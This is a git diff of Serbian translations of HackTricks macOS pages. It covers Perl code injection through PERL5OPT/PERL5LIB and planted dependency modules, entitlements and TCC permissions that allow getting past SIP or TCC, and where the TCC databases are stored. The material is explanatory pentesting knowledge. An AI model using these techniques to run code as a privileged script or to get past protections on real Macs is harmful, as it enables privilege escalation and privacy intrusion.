* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
## Putem `PERL5OPT` & `PERL5LIB` env promenljivih
|
||||
## Kroz `PERL5OPT` & `PERL5LIB` env promenljive
|
||||
|
||||
Korišćenjem env promenljive PERL5OPT moguće je naterati perl da izvrši proizvoljne komande.\
|
||||
Na primer, kreirajte ovaj skript:
|
||||
|
@ -48,11 +48,11 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
|||
```
|
||||
## Preko zavisnosti
|
||||
|
||||
Moguće je izlistati redosled foldera zavisnosti Perl-a koji se izvršava:
|
||||
Moguće je izlistati redosled foldera zavisnosti koje Perl koristi:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Koji će vratiti nešto slično:
|
||||
Što će vratiti nešto slično:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
@ -64,16 +64,30 @@ Koji će vratiti nešto slično:
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Neke od vraćenih mapa čak ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, nije **zaštićen** od **SIP**-a i nalazi se **ispred** mapa **zaštićenih SIP**-om. Stoga, neko bi mogao zloupotrebiti tu mapu da dodaje zavisnosti skripti tamo kako bi visoko privilegovana Perl skripta učitala te zavisnosti.
|
||||
Neke od vraćenih mapa čak ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, nije **zaštićen** od strane **SIP-a** i nalazi se **ispred** mapa **zaštićenih SIP-om**. Stoga, neko bi mogao zloupotrebiti tu mapu da dodaje zavisnosti skripta tamo kako bi visoko privilegovani Perl skript učitao te zavisnosti.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Međutim, imajte na umu da **morate biti root da biste pisali u tu mapu** i danas ćete dobiti ovaj **TCC prozor**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Na primer, ako skripta uvozi **`use File::Basename;`** bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` da bi se izvršio proizvoljni kod.
|
||||
Na primer, ako skript uvozi **`use File::Basename;`** bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` kako bi se izvršio proizvoljni kod.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Opasna Ovlašćenja i TCC dozvole
|
||||
# macOS Opasna Ovlašćenja & TCC dozvole
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,47 +6,47 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Imajte na umu da ovlašćenja koja počinju sa **`com.apple`** nisu dostupna trećim licima, samo Apple može da ih dodeli.
|
||||
Imajte na umu da ovlašćenja koja počinju sa **`com.apple`** nisu dostupna trećim licima, samo ih Apple može odobriti.
|
||||
{% endhint %}
|
||||
|
||||
## Visok
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
Ovlašćenje **`com.apple.rootless.install.heritable`** omogućava **zaobilaženje SIP-a**. Proverite [ovde za više informacija](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
Ovlašćenje **`com.apple.rootless.install.heritable`** omogućava **zaobilazak SIP-a**. Proverite [ovde za više informacija](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
Ovlašćenje **`com.apple.rootless.install`** omogućava **zaobilaženje SIP-a**. Proverite [ovde za više informacija](macos-sip.md#com.apple.rootless.install).
|
||||
Ovlašćenje **`com.apple.rootless.install`** omogućava **zaobilazak SIP-a**. Proverite [ovde za više informacija](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (ranije nazvano `task_for_pid-allow`)**
|
||||
|
||||
Ovo ovlašćenje omogućava dobijanje **task porta za bilo koji** proces, osim kernela. Proverite [**ovde za više informacija**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Ovo ovlašćenje omogućava dobijanje **task porta za bilo** koji proces, osim kernela. Proverite [**ovde za više informacija**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Ovo ovlašćenje omogućava drugim procesima sa ovlašćenjem **`com.apple.security.cs.debugger`** da dobiju task port procesa pokrenutog od strane binarnog fajla sa ovim ovlašćenjem i **ubace kod u njega**. Proverite [**ovde za više informacija**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Ovo ovlašćenje omogućava drugim procesima sa ovlašćenjem **`com.apple.security.cs.debugger`** da dobiju task port procesa pokrenutog binarnim fajlom sa ovim ovlašćenjem i **ubace kod u njega**. Proverite [**ovde za više informacija**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Aplikacije sa ovlašćenjem za alat za debagovanje mogu pozvati `task_for_pid()` da dobiju validan task port za nepotpisane i aplikacije trećih lica sa ovlašćenjem `Get Task Allow` postavljenim na `true`. Međutim, čak i sa ovlašćenjem za alat za debagovanje, debager **ne može dobiti task portove** procesa koji **nemaju ovlašćenje `Get Task Allow`**, i koji su stoga zaštićeni Sistemskom Integritetnom Zaštitom. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
Aplikacije sa ovlašćenjem za Alat za Debugovanje mogu pozvati `task_for_pid()` da dobiju validan task port za nepotpisane i treće strane aplikacije sa ovlašćenjem `Get Task Allow` postavljenim na `true`. Međutim, čak i sa ovlašćenjem za alat za debugovanje, debugger **ne može dobiti task portove** procesa koji **nemaju ovlašćenje za Get Task Allow**, i koji su stoga zaštićeni Sistemskom Integritetnom Zaštitom. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Ovo ovlašćenje omogućava **učitavanje framework-a, plug-inova ili biblioteka bez potpisa od strane Apple-a ili potpisanih istim Team ID-om** kao glavni izvršni fajl, tako da napadač može zloupotrebiti neko proizvoljno učitavanje biblioteke da ubaci kod. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
Ovo ovlašćenje omogućava **učitavanje frameworka, plug-ina ili biblioteka bez potpisa od strane Apple-a ili potpisanog istim Team ID-em** kao glavni izvršni fajl, tako da napadač može zloupotrebiti neko proizvoljno učitavanje biblioteke da ubaci kod. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
Ovo ovlašćenje je veoma slično **`com.apple.security.cs.disable-library-validation`** ali umesto **direktnog onemogućavanja** provere biblioteke, omogućava procesu da **pozove `csops` sistemski poziv da je onemogući**.\
|
||||
Ovo ovlašćenje je vrlo slično **`com.apple.security.cs.disable-library-validation`** ali **umesto** direktnog onemogućavanja validacije biblioteke, omogućava procesu da **pozove `csops` sistemski poziv da je onemogući**.\
|
||||
Proverite [**ovde za više informacija**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
@ -55,11 +55,11 @@ Ovo ovlašćenje omogućava **korišćenje DYLD okruženjskih promenljivih** koj
|
|||
|
||||
### `com.apple.private.tcc.manager` ili `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**Prema ovom blogu**](https://objective-see.org/blog/blog\_0x4C.html) **i** [**ovom blogu**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ova ovlašćenja omogućavaju **izmenu** TCC baze podataka.
|
||||
[**Prema ovom blogu**](https://objective-see.org/blog/blog\_0x4C.html) **i** [**ovom blogu**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ova ovlašćenja omogućavaju **modifikaciju** baze podataka **TCC**.
|
||||
|
||||
### **`system.install.apple-software`** i **`system.install.apple-software.standar-user`**
|
||||
|
||||
Ova ovlašćenja omogućavaju **instaliranje softvera bez traženja dozvole** od korisnika, što može biti korisno za eskalaciju privilegija.
|
||||
Ova ovlašćenja omogućavaju **instaliranje softvera bez traženja dozvole** korisnika, što može biti korisno za **eskaciju privilegija**.
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
|
@ -69,9 +69,9 @@ Ovlašćenje potrebno za traženje od kernela da učita kernel ekstenziju.
|
|||
|
||||
Ovlašćenje **`com.apple.private.icloud-account-access`** omogućava komunikaciju sa **`com.apple.iCloudHelper`** XPC servisom koji će **pružiti iCloud tokene**.
|
||||
|
||||
**iMovie** i **Garageband** imaju ovo ovlašćenje.
|
||||
**iMovie** i **Garageband** imali su ovo ovlašćenje.
|
||||
|
||||
Za više **informacija** o eksploataciji za **dobijanje icloud tokena** iz tog ovlašćenja pogledajte predavanje: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
Za više **informacija** o eksploataciji za **dobijanje icloud tokena** iz tog ovlašćenja pogledajte predavanje: [**#OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
|
@ -79,15 +79,15 @@ TODO: Ne znam šta ovo omogućava
|
|||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da se ovo može koristiti za** ažuriranje SSV-zaštićenog sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas!
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenih sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da se ovo može koristiti za** ažuriranje SSV-zaštićenog sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas!
|
||||
TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenih sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Ova lista ovlašćenja prikazuje grupe **keychain-a** do kojih aplikacija ima pristup:
|
||||
Ovo ovlašćenje nabraja **keychain** grupe kojima aplikacija ima pristup:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -100,13 +100,13 @@ Ova lista ovlašćenja prikazuje grupe **keychain-a** do kojih aplikacija ima pr
|
|||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Daje dozvole za **puni pristup disku**, jednu od najviših dozvola TCC-a koje možete imati.
|
||||
Daje dozvole za **Pristup celom disku**, jednu od najviših dozvola koje možete imati u TCC-u.
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
Omogućava aplikaciji slanje događaja drugim aplikacijama koje se često koriste za **automatizaciju zadataka**. Kontrolisanjem drugih aplikacija, može zloupotrebiti dozvole koje su dodijeljene tim drugim aplikacijama.
|
||||
Omogućava aplikaciji slanje događaja drugim aplikacijama koje se često koriste za **automatizaciju zadataka**. Kontrolišući druge aplikacije, može zloupotrebiti dozvole koje su date tim drugim aplikacijama.
|
||||
|
||||
Na primjer, može ih natjerati da zatraže korisnikovu lozinku:
|
||||
Na primer, može ih naterati da zatraže korisnikovu lozinku:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -118,44 +118,44 @@ Ili ih naterati da izvrše **proizvoljne radnje**.
|
|||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
Omogućava, između ostalih dozvola, **pisanje korisničke TCC baze podataka**.
|
||||
Dozvoljava, između ostalih dozvola, da **piše u korisničku TCC bazu podataka**.
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
Omogućava **promenu** atributa **`NFSHomeDirectory`** korisnika koji menja putanju svoje matične fascikle i time omogućava **zaobilaženje TCC**.
|
||||
Dozvoljava **promenu** atributa **`NFSHomeDirectory`** korisnika koji menja putanju njegove matične fascikle i time omogućava **zaobilazak TCC**.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Omogućava izmenu fajlova unutar aplikacija (unutar app.app), što je **podrazumevano zabranjeno**.
|
||||
Dozvoljava modifikaciju fajlova unutar aplikacija (unutar app.app), što je **podrazumevano zabranjeno**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Moguće je proveriti ko ima ovaj pristup u _System Settings_ > _Privacy & Security_ > _App Management._
|
||||
Moguće je proveriti ko ima ovaj pristup u _Sistemskim postavkama_ > _Privatnost & Bezbednost_ > _Upravljanje aplikacijama_.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da će na primer moći da pritisne tastere. Tako bi mogao da zatraži pristup za kontrolu aplikacije poput Finder-a i odobri dijalog sa ovom dozvolom.
|
||||
Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da će na primer moći da pritisne taster. Tako bi mogao da zatraži pristup kontroli aplikacije poput Findera i odobri dijalog sa ovom dozvolom.
|
||||
|
||||
## Srednje
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Ova dozvola omogućava **kreiranje memorije koja je upisiva i izvršna** tako što se `MAP_JIT` zastavica prosleđuje sistemske funkcije `mmap()`. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
Ova dozvola omogućava da se **kreira memorija koja je upisiva i izvršna** prolaskom `MAP_JIT` zastave funkciji sistema `mmap()`. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Ova dozvola omogućava **zaobilaženje ili izmenu C koda**, korišćenje zastarelog **`NSCreateObjectFileImageFromMemory`** (koji je suštinski nesiguran), ili korišćenje **DVDPlayback** okvira. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
Ova dozvola omogućava **zamenu ili zakrpu C koda**, korišćenje dugo zastarelog **`NSCreateObjectFileImageFromMemory`** (što je suštinski nesigurno), ili korišćenje **DVDPlayback** okvira. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima sa kodom koji nije siguran za memoriju. Pažljivo razmotrite da li vaša aplikacija zahteva ovu izuzetnost.
|
||||
Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima sa kodom koji nije siguran za memoriju. Pažljivo razmislite da li vaša aplikacija zahteva ovaj izuzetak.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Ova dozvola omogućava **izmenu sekcija sopstvenih izvršnih fajlova** na disku kako bi se prinudno izašlo. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
Ova dozvola omogućava **modifikaciju sekcija sopstvenih izvršnih fajlova** na disku da bi se silom izašlo. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dozvola za onemogućavanje zaštite izvršne memorije je ekstremna dozvola koja uklanja osnovnu sigurnosnu zaštitu iz vaše aplikacije, čime se omogućava napadaču da izmeni izvršni kod vaše aplikacije bez otkrivanja. Ako je moguće, radije koristite uže dozvole.
|
||||
Dozvola za Onemogućavanje zaštite izvršne memorije je ekstremna dozvola koja uklanja osnovnu sigurnosnu zaštitu iz vaše aplikacije, čime se omogućava napadaču da prepiše izvršni kod vaše aplikacije bez otkrivanja. Preferirajte uže dozvole ako je moguće.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -164,18 +164,18 @@ TODO
|
|||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
Ova dozvola omogućava montiranje nullfs fajl sistema (podrazumevano zabranjeno). Alatka: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
Ova dozvola omogućava montiranje nullfs fajl sistema (podrazumevano zabranjeno). Alat: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
Prema ovom blog postu, ova TCC dozvola se obično nalazi u obliku:
|
||||
Prema ovom blog postu, ova TCC dozvola obično se nalazi u obliku:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
Dozvolite procesu da **zatraži sve TCC dozvole**.
|
||||
Dozvoli procesu da **zatraži sve TCC dozvole**.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
|
@ -185,10 +185,10 @@ Dozvolite procesu da **zatraži sve TCC dozvole**.
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -18,13 +18,13 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
**TCC (Transparentnost, Saglasnost i Kontrola)** je sigurnosni protokol koji se fokusira na regulisanje dozvola aplikacija. Njegova osnovna uloga je da zaštiti osetljive funkcije poput **usluga lokacije, kontakata, fotografija, mikrofona, kamere, pristupačnosti i punog pristupa disku**. Zahtevajući eksplicitnu saglasnost korisnika pre nego što aplikacija dobije pristup ovim elementima, TCC poboljšava privatnost i kontrolu korisnika nad njihovim podacima.
|
||||
|
||||
Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da **odobre ili odbiju pristup**. Nadalje, TCC omogućava direktna korisnička dejstva, poput **prevlačenja i ispuštanja fajlova u aplikaciju**, kako bi se odobrio pristup određenim fajlovima, obezbeđujući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno.
|
||||
Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da **odobre ili odbiju pristup**. Osim toga, TCC omogućava direktna korisnička dejstva, poput **prevlačenja i ispuštanja fajlova u aplikaciju**, kako bi se odobrio pristup određenim fajlovima, osiguravajući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno.
|
||||
|
||||
![Primer TCC prozora zahteva](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
![Primer TCC prozora](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC** upravlja **daemonom** smeštenim u `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i konfigurisan u `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrovanje mach servisa `com.apple.tccd.system`).
|
||||
|
||||
Postoji **tccd u režimu korisnika** koji se pokreće po prijavljivanju korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist` registrovanjem mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
Postoji **tccd u režimu korisnika** koji se pokreće za svakog prijavljenog korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist`, registrovanje mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Ovde možete videti tccd koji se izvršava kao sistem i kao korisnik:
|
||||
```bash
|
||||
|
@ -39,17 +39,17 @@ Dozvole se **nasleđuju od roditeljske** aplikacije i **dozvole** se **prate** n
|
|||
Dozvole/zabrane se zatim čuvaju u nekim TCC bazama podataka:
|
||||
|
||||
* Sistemski široka baza podataka u **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Ova baza podataka je **SIP zaštićena**, tako da samo SIP prelaz može da piše u nju.
|
||||
* Ova baza podataka je **SIP zaštićena**, tako da samo SIP prekoračenje može da piše u nju.
|
||||
* Korisnička TCC baza podataka **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** za korisničke preference.
|
||||
* Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna Disk Pristupa mogu da pišu u nju (ali nije zaštićena SIP-om).
|
||||
* Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna diskovna pristupa mogu da pišu u nju (ali nije zaštićena SIP-om).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Prethodne baze podataka su takođe **TCC zaštićene za čitanje pristupa**. Dakle, **nećete moći da čitate** svoju redovnu korisničku TCC bazu podataka osim ako je to iz procesa sa TCC privilegijama.
|
||||
|
||||
Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su **FDA** ili **`kTCCServiceEndpointSecurityClient`**) moći da piše u korisničku TCC bazu podataka
|
||||
Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su **FDA** ili **`kTCCServiceEndpointSecurityClient`**) moći da piše u korisničku TCC bazu podataka.
|
||||
{% endhint %}
|
||||
|
||||
* Postoji **treća** TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji imaju dozvolu za **pristup lokacijskim uslugama**.
|
||||
* Postoji **treća** TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji su dozvoljeni da **pristupaju lokacionim uslugama**.
|
||||
* SIP zaštićena datoteka **`/Users/carlospolop/Downloads/REG.db`** (takođe zaštićena od čitanja pristupa sa TCC), sadrži **lokaciju** svih **validnih TCC baza podataka**.
|
||||
